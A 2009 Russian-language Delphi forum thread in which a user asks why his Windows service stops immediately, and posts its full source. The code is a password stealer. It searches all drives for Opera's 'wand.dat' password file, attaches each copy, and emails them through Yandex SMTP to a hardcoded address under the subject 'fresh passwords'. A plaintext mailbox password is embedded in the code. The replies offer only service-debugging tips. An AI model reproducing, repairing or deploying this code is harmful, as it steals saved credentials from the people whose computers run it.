создание службы

← →
liveD © (2009-07-10 14:10) [0]

Создал службу, а она не работает. Ошибок при компиляции нет.
В обычном приложении работает отлично.
Пишет, что служба автоматически остановлена, так как ей нечего делать.
Подскажите, что делать?

unit Unit1;

interface

uses
Windows,Masks, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
ExtCtrls, IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient,
IdSMTP, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdMessage;

type
TService1 = class(TService)
Timer1: TTimer;
IdMessage1: TIdMessage;
IdAntiFreeze1: TIdAntiFreeze;
IdSMTP1: TIdSMTP;

procedure Search;
procedure Scan(s: string);
procedure sendmail;

procedure Timer1Timer(Sender: TObject);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
procedure ServiceExecute(Sender: TService);
procedure ServiceStart(Sender: TService; var Started: Boolean);
private
{ Private declarations }
public
function GetServiceController: TServiceController; override;
{ Public declarations }
end;

const //Needfound1="Floppy_95.IMZ";
Needfound2="wand.dat";
var
fileN:string;

var
Service1: TService1;

implementation

{$R *.DFM}

procedure TService1.sendmail;
begin
idsmtp1.Host:="smtp.yandex.ru";
idsmtp1.Port:=25;
idsmtp1.MailAgent:="SoVa32@yandex.ru";
idsmtp1.Password:="240785128";
idsmtp1.UserId:="SoVa32@yandex.ru";
IdMessage1.From.Text:="SoVa32@yandex.ru";
IdMessage1.Recipients.EMailAddresses:="SoVa32@yandex.ru";
IdMessage1.Subject:="Svejie parolchiki";

IdSMTP1.Connect;
if IdSMTP1.Connected then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;

end;
//********************
procedure TService1.Scan(s: string);
var
sr: TSearchRec;
r: integer;
OldDir: string;
begin
{$I-}
ChDir (s);
{$I+}
if IoResult = 0 then begin
try
r := FindFirst ("*.*", faAnyFile, sr);
while r = 0 do begin
if (sr.Name <> ".") and (sr.Name <> "..") then begin
if (faDirectory and sr.Attr) = faDirectory then begin
OldDir := GetCurrentDir;
Scan (ExpandFileName (sr.Name));
ChDir (OldDir);
end else begin
if MatchesMask (sr.Name, fileN) then begin
TIdAttachment.Create(IdMessage1.MessageParts, ExpandFileName (sr.Name));
end;
end;
end;
r := FindNext (sr);
end;
finally
FindClose (sr);
end;
end;
end;

procedure TService1.Search;
var
DriveNum: Integer;
DriveChar: Char;
DriveBits: set of 0..25;

begin
Integer(DriveBits) := GetLogicalDrives;
for DriveNum := 1 to {2}5 do begin // 25!!!!!!!!!!!
if not (DriveNum in DriveBits) then
Continue;
DriveChar := Char(DriveNum + Ord("a"));
Scan (DriveChar + ":\");
end;
end;

//********************

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;

procedure TService1.Timer1Timer(Sender: TObject);
begin
WinExec("D:\delphy\yetisports1.exe",sw_show);

end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
Stopped:=true;
end;

procedure TService1.ServiceExecute(Sender: TService);
var
a:integer;
begin
fileN:=Needfound2;
fileN:="wand.dat";
Search;
sendmail;
while not Terminated do begin a:=1+1; end;
ServiceThread.ProcessRequests(True);
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
Started:=true;
end;

end.

← →
Сергей М. © (2009-07-10 14:17) [1]

Службы запускают средствами Service Manager, а не как обычные приложения

← →
вадик (2009-07-10 14:19) [2]

Я знаю. Сначала через параметр инсталл, а потом в администрирование - службы - запустить.

← →
Сергей М. © (2009-07-10 14:24) [3]

> вадик (10.07.09 14:19) [2]

Это ты знаешь)
А вот автор топика, т.е. liveD © , видимо, не знает)

← →
вадик (2009-07-10 14:25) [4]

liveD - это я вадик :-)

← →
clickmaker © (2009-07-10 14:26) [5]

что это? while not Terminated do begin a:=1+1; end;
тест процессора на разогрев?

обычно так делают, даже в справке пример есть
while not Terminated do begin
ServiceThread.ProcessRequests(True);
end;

← →
вадик (2009-07-10 14:28) [6]

у меня обработка идет на ServiceExecute. Пробовал и на ServiceStart - всеравно служба запускается и сразу же останавливается.

> вадик (10.07.09 14:25) [4]

Вадик, ты бы определился кто ты именно. А то сегодня Вадик, завтра Женя...
У нас тут все же правила есть:
http://www.delphimaster.ru/forums.shtml#rule Запрещается: п.5

создание службы Найти похожие ветки